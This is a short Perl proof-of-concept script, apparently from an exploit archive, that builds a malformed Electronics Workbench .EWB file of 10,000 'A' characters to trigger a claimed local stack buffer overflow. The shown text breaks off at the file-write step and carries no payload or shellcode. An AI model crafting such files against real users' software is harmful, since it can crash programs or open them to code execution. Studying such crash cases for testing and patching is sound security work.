1 #!/usr/local/bin/perl
2 #
3 #
4 # OOO OOO OO OOO
5 # O O O O O
6 # O O O O O
7 # O O OO OO OOOOO OOOOO OOO OO OOOOOO O O OO OO OOOOO
8 # O O OO O O O O O OO O O O O O OO O O O
9 # O O O O O O OOOOOOO O O O O O O OOOOOOO
10 # O O O O O O O O O O O O O O
11 # O O O O O O O O O O O O O O O O O
12 # OOO OOO OOO OOOOOO OOOOO OOOOO OOOOOO OOO OOO OOO OOOOO
13 #
14 # [+] Application : Electronics Workbench
15 #
16 # [+] Application’s Description : (" Electronics Workbench sets the standard for affordable simulators.
17 # The tight integration of its schematic editor, SPICE simulator and
18 # on−screen waveforms makes what−if scenarios easy and instant.
19 # The exceptional features of this latest release will come as no
20 # surprise to our 80,000 previous customers. Value, power and ease of
21 # use are what Electronics Workbench has always stood for.")
22 #
23 # [+] Bug : Local .EWB File Stack Buffer Overflow (PoC)
24 #
25 # [+] Author : Underz0ne Crew
26 # Zigma
27 #
28 # I just got the program from my Elctronic’s professor , Instead of simulating my homework I fuzzed it , I think I m
geek :S , whatever
29 #
30 $filename = "fuzz.ewb";
31
32 $overflow = "A" x 10000;
33
34 print "\n\n[+] Evil file to fuzz : $filename ...\r\n";
35 sleep(2);
36
37 open(ewb, ">./$filename") || die "\nCannot open $filename: